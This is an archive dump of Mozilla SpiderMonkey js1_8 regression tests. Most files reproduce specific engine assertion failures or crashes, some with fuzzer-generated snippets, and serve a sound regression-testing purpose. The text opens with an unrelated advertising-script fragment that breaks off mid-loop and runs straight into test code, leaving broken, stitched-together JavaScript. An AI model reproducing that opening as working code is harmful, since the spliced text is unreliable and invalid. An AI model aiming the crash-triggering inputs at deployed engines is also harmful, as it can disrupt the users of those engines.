parameters={}; this.addParameter=function(key,value) { parameters[key]=[]; parameters[key].push(value); }; this.getParameter=function(key,separator){ if(!parameters[key]) { return; } return parameters[key].join(separator); }; this.getKeys=function() { return parameters; }; }; SNI.MetaData.Manager=function(){ var m=new SNI.MetaData.Parameter(); this.getParameter=m.getParameter; }; var MetaDataManager=SNI.MetaData.Manager; SNI.Ads={ }; SNI.Ads.Url=function(){ var p=new SNI.MetaData.Parameter(); this.addParameter=p.addParameter; this.getParameter=p.getParameter; }; function Ad() { var url=new SNI.Ads.Url(); this.addParameter=url.addParameter; this.getParameter=url.getParameter; } function DartAd() AdUrl.prototype=new Ad(); function AdUrl() { } function AdRestriction() { var p=new SNI.MetaData.Parameter(); this.addParameter=p.addParameter; this.getParameter=p.getParameter; this.getKeys=p.getKeys; } function AdRestrictionManager(){ this.restriction=[]; this.isActive=isActive; this.isMatch=isMatch; this.startMatch=startMatch; function isActive(ad,mdm){ var value=false; for(var i=0;i; f("y = this;"); f("x, y; for each (let x in [arguments]) {}"); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/regress/regress-483749.js0000664000175000017500000000133712106270663022340 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 483749; var summary = 'Do not assert: !js_IsActiveWithOrBlock(cx, fp->scopeChain, 0)'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let x in ['']) { for (var b = 0; b < 5; ++b) { if (b % 5 == 3) { with([]) this; } } } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/regress/regress-464092-01.js0000664000175000017500000000156312106270663022545 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 464092; var summary = 'Do not assert: OBJ_IS_CLONED_BLOCK(obj)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); let (a) 'b'.replace(/b/g, function() { c = this; }); c.d = 3; c.d; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-464092-02.js0000664000175000017500000000161012106270663022537 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 464092; var summary = 'Censor block objects'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { let (a) 'b'.replace(/b/g, function() c = this ); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-433279-01.js0000664000175000017500000000155612106270663022552 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 433279; var summary = 'Do not assert: pn != tc->parseContext->nodeList'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var { sin, PI } = Math; sin(PI / 2); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-457065-02.js0000664000175000017500000000167212106270663022551 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 457065; var summary = 'Do not assert: !fp->callee || fp->thisp == JSVAL_TO_OBJECT(fp->argv[-1])'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); (function(){ eval('this'); (function(){ for(let y in [0,1,2]) 6;})(); })(); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-03.js0000664000175000017500000000213712106270663022557 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(x) { actual = ''; var g; print(actual += typeof g + ','); if (x) function g(){}; print(actual += g); } expect = 'undefined,undefined'; f(0); reportCompare(expect, actual, summary + ': f(0): '); expect = 'undefined,function g(){}'; f(1); reportCompare(expect, actual, summary + ': f(1): '); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/README0000664000175000017500000000001712106270663016750 0ustar sstanglsstanglJavaScript 1.8 mozjs17.0.0/js/src/tests/js1_8/shell.js0000664000175000017500000000056212106270663017542 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // explicitly turn on js18 if (typeof version != 'undefined') { version(180); } mozjs17.0.0/js/src/tests/js1_8/browser.js0000664000175000017500000000000012106270663020101 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/extensions/0000775000175000017500000000000012106270663020271 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/extensions/regress-385393-11.js0000664000175000017500000000161012106270663023272 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 385393; var summary = 'Regression test for bug 385393'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { var n = null; [1 for (x in [])](n.b()); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-482263.js0000664000175000017500000000157012106270663023052 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 482263; var summary = 'TM: Do not assert: x->oprnd2() == lirbuf->sp || x->oprnd2() == gp_ins'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); Object.defineProperty(__proto__, "x", { enumerable: true, configurable: true, get: function () { return .([]) } }); for each (let x in []) { for each (let x in ['', '']) { } } jit(true); reportCompare(expect, actual, summary); delete __proto__.x; mozjs17.0.0/js/src/tests/js1_8/extensions/regress-475971.js0000775000175000017500000000262212106270663023064 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 475971; var summary = 'js_CheckRedeclaration should unlock object on failures'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof scatter != 'function') { print(expect = actual = 'Test skipped - requires threaded build with scatter'); } else { function x() { return 1; }; // g must run sufficiently long to ensure that the global scope is accessed // from the parallel threads. function g() { var sum = 0; try { for (var i = 0; i != 10000; ++i) { sum += x(); } } catch (e) { } } scatter([g, g]); try { eval("const x = 1"); } catch (e) { } scatter([g, g]); print("Done"); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/expclo2.js0000664000175000017500000000077312106270663022212 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Brendan Eich */ var summary = "Partial flat expression closure upvar order test"; function f(a) { if (a) { let b = 42; let c = function () b+a; ++b; return c; } return null; } var expect = 44; var actual = f(1)(); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476427.js0000664000175000017500000000204112106270663023051 0ustar sstanglsstangl// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476427; var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); function a1(){} a2 = a1; a3 = a1; a4 = a1; c1 = toString; c2 = toSource; function foo(code) { (new Function(code))(); delete toSource; delete toString; toSource = c2; toString = c1; } let z; for (z = 1; z <= 16322; ++z) { this.__defineGetter__('functional', function x(){ yield; } ); foo("this.__defineSetter__('', function(){});"); foo("for each (y in this);"); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476653.js0000775000175000017500000000161312106270663023061 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476653; var summary = 'Do not crash @ QuoteString'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let x1 in ['']) for (i = 0; i < 1; ++i) {} delete uneval; for (i = 0; i < 1; ++i) {} for each (let x in [new String('q'), '', /x/, '', /x/]) { for (var y = 0; y < 7; ++y) { if (y == 2 || y == 6) { setter = x; } } } try { this.(z); } catch(ex) { } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/shell.js0000664000175000017500000000000012106270663021724 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/extensions/peterson.js0000664000175000017500000000263412106270663022473 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------- var summary = "Peterson's algorithm for mutual exclusion"; printStatus(summary); var N = 500; // number of iterations // the mutex mechanism var f = [false, false]; var turn = 0; // the resource being protected var counter = 0; function worker(me) { let him = 1 - me; for (let i = 0; i < N; i++) { // enter the mutex f[me] = true; turn = him; while (f[him] && turn == him) ; // busy wait // critical section let x = counter; sleep(0.003); counter = x+1; // leave the mutex f[me] = false; } return 'ok'; } var expect; var actual; if (typeof scatter == 'undefined' || typeof sleep == 'undefined') { print('Test skipped. scatter or sleep not defined.'); expect = actual = 'Test skipped.'; } else { var results = scatter ([function() { return worker(0); }, function() { return worker(1); }]); expect = "Thread status: [ok,ok], counter: " + (2 * N); actual = "Thread status: [" + results + "], counter: " + counter; } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-353116.js0000664000175000017500000000277712106270663023056 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 353116; var summary = 'Improve errors messages for null, undefined properties'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'TypeError: undefined has no properties'; actual = 'No Error'; try { undefined.y; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); expect = 'TypeError: null has no properties'; actual = 'No Error'; try { null.y; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); expect = 'TypeError: x is undefined'; actual = 'No Error'; try { x = undefined; x.y; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); expect = 'TypeError: x is null'; actual = 'No Error'; try { x = null; x.y; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-385393-01.js0000664000175000017500000000156412106270663023301 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 385393; var summary = 'Regression test for bug 385393'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { [].map(1 for (x in [])); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-446169-02.js0000664000175000017500000000226112106270663023274 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 446169; var summary = 'Do not assert: Thin_GetWait(tl->owner) in thread-safe build'; var actual = 'No Crash'; var expect = 'No Crash'; var array = []; for (var i = 0; i != 100*1000; i += 2) { array[i] = i; array[i+1] = i; } var src = array.join(';x'); function f() { new Function(src); } //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof scatter == 'function') { scatter([f, f, f, f]); } else { print('Test skipped. Requires thread-safe build with scatter function.'); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476414-01.js0000664000175000017500000000374212106270663023274 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell) slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476414; var summary = 'Do not crash @ GetGCThingFlags'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); function whatToTestSpidermonkeyTrunk(code) { return { allowExec: true }; } whatToTest = whatToTestSpidermonkeyTrunk; function tryItOut(code) { var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " ")); var f = new Function(code); if (wtt.allowExec && f) { rv = tryRunning(f, code); } } function tryRunning(f, code) { try { var rv = f(); } catch(runError) {} } var realFunction = Function; var realUneval = uneval; var realToString = toString; var realToSource = toSource; function tryEnsureSanity() { delete Function; delete uneval; delete toSource; delete toString; Function = realFunction; uneval = realUneval; toSource = realToSource; toString = realToString; } for (let iters = 0; iters < 2000; ++iters) { count=27745; tryItOut("with({x: (c) = (x2 = [])})false;"); tryEnsureSanity(); count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function () { yield \"\" } ): break; }"); tryEnsureSanity(); count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y)this)); } "); tryEnsureSanity(); count=45197; tryItOut("M:with((p={}, (p.z = === '' )()))/*TUUL*/for each (let y in [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }"); tryEnsureSanity(); gc(); tryEnsureSanity(); count=45254; tryItOut("for each (NaN in this);"); tryEnsureSanity(); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/expclo.js0000664000175000017500000000100312106270663022113 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Brendan Eich */ var summary = "Flat expression closure source coordinate fencepost test"; function f(a) { if (a) { let b = 42; let c = function () a+b; ++b; return c; } return null; } var expect = 44; var actual = f(1)(); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-472450-03.js0000664000175000017500000000205712106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472450; var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var cyclic = []; cyclic[0] = cyclic; ({__proto__: cyclic}) for (var y = 0; y < 3; ++y) { for each (let z in ['', function(){}]) { let x = 1, c = []; } } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-417131.js0000664000175000017500000000400512106270663023036 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 417131; var summary = 'stress test for cache'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(N) { for (var i = 0; i != N; ++i) { var obj0 = {}, obj1 = {}, obj2 = {}; obj1['a'+i] = 0; obj2['b'+i] = 0; obj2['b'+(i+1)] = 1; for (var repeat = 0;repeat != 2; ++repeat) { var count = 0; for (var j in obj1) { if (j !== 'a'+i) throw "Bad:"+j; for (var k in obj2) { if (i == Math.floor(N/3) || i == Math.floor(2*N/3)) gc(); var expected; switch (count) { case 0: expected='b'+i; break; case 1: expected='b'+(i+1); break; default: throw "Bad count: "+count; } if (expected != k) throw "Bad k, expected="+expected+", actual="+k; for (var l in obj0) ++count; ++count; } } if (count !== 2) throw "Bad count: "+count; } } } var array = [function() { f(10); }, function() { f(50); }, function() { f(200); }, function() { f(400); } ]; if (typeof scatter == "function") { scatter(array); } else { for (var i = 0; i != array.length; ++i) array[i](); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476414-02.js0000664000175000017500000000373612106270663023300 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell) slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476414; var summary = 'Do not crash @ js_NativeSet'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); function whatToTestSpidermonkeyTrunk(code) { return { allowExec: true }; } whatToTest = whatToTestSpidermonkeyTrunk; function tryItOut(code) { var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " ")); var f = new Function(code); if (wtt.allowExec && f) { rv = tryRunning(f, code); } } function tryRunning(f, code) { try { var rv = f(); } catch(runError) {} } var realFunction = Function; var realUneval = uneval; var realToString = toString; var realToSource = toSource; function tryEnsureSanity() { delete Function; delete uneval; delete toSource; delete toString; Function = realFunction; uneval = realUneval; toSource = realToSource; toString = realToString; } for (let iters = 0; iters < 2000; ++iters) { count=27745; tryItOut("with({x: (c) = (x2 = [])})false;"); tryEnsureSanity(); count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function () { yield \"\" } ): break; }"); tryEnsureSanity(); count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y)this)); } "); tryEnsureSanity(); count=45197; tryItOut("M:with((p={}, (p.z = === '' )()))/*TUUL*/for each (let y in [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }"); tryEnsureSanity(); gc(); tryEnsureSanity(); count=45254; tryItOut("for each (NaN in this);"); tryEnsureSanity(); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-476871-02.js0000775000175000017500000000150412106270663023301 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476871; var summary = 'Do not crash @ js_StepXMLListFilter'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { this.watch("NaN", /a/g) let(x) ((function(){ for each (NaN in [null, '', '', '', '']) true; } )()); NaN.( /x/ ); } catch(ex) { print(ex + ''); } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/browser.js0000664000175000017500000000000012106270663022300 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/extensions/regress-472450-04.js0000664000175000017500000000210312106270663023261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472450; var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var cyclic = []; cyclic[0] = cyclic; ({__proto__: cyclic}); function f(){ eval("for (var y = 0; y < 1; ++y) { for each (let z in [null, function(){}, null, '', null, '', null]) { let x = 1, c = []; } }"); } f(); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-465453.js0000664000175000017500000000253412106270663023055 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465453; var summary = 'Do not convert (undefined) to "undefined"'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '[(new Boolean(true)), (void 0), (new Boolean(true)), ' + '(new Boolean(true)), (void 0), (void 0), "", "", (void 0)]'; jit(true); var out = []; for each (var e in [(new Boolean(true)), (void 0), (new Boolean(true)), (new Boolean(true)), (void 0), (void 0), "", "", (void 0)]) out.push(e); print(actual = uneval(out)); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-446169-01.js0000664000175000017500000000232612106270663023275 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 446169; var summary = 'Do not assert: Thin_GetWait(tl->owner) in thread-safe build'; var actual = 'No Crash'; var expect = 'No Crash'; var array = [{}, {}, {}, {}]; function foo() { for (var i = 0; i != 42*42*42; ++i) { var obj = array[i % array.length]; obj["a"+i] = 1; var tmp = {}; tmp["a"+i] = 2; } } //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof scatter == 'function') { scatter([foo, foo, foo, foo]); } else { print('Test skipped. Requires thread-safe build with scatter function.'); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-445818.js0000664000175000017500000000212712106270663023056 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 445818; var summary = 'Do not crash with threads'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- printBugNumber(BUGNUMBER); printStatus (summary); if (typeof scatter == 'undefined') { print(expect = actual = 'Test skipped. scatter not defined'); } else { var array = [{}, {}, {}, {}]; function test() { for (var i = 0; i != 42*42*42; ++i) { var obj = array[i % array.length]; obj["a"+i] = 1; var tmp = {}; tmp["a"+i] = 2; } } scatter([test, test, test, test]); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/extensions/regress-465337.js0000664000175000017500000000170112106270663023051 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465337; var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var out = []; for (let j = 0; j < 5; ++j) { out.push(6 - ((void 0) ^ 0x80000005)); } print(uneval(out)); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/extensions/regress-415721.js0000664000175000017500000000176112106270663023047 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 415721; var summary = 'jsatom.c double hashing re-validation logic is unsound'; printStatus (summary); var VARS = 10000; var TRIES = 100; function atomizeStressTest() { var fn = "function f() {var "; for (var i = 0; i < VARS; i++) fn += '_f' + i + ', '; fn += 'q;}'; function e() { eval(fn); } for (var i = 0; i < TRIES; i++) { scatter([e,e]); gc(); } } var expect; var actual; expect = actual = 'No crash'; if (typeof scatter == 'undefined' || typeof gc == 'undefined') { print('Test skipped. scatter or gc not defined.'); expect = actual = 'Test skipped.'; } else { atomizeStressTest(); } reportCompare(expect, actual, summary); 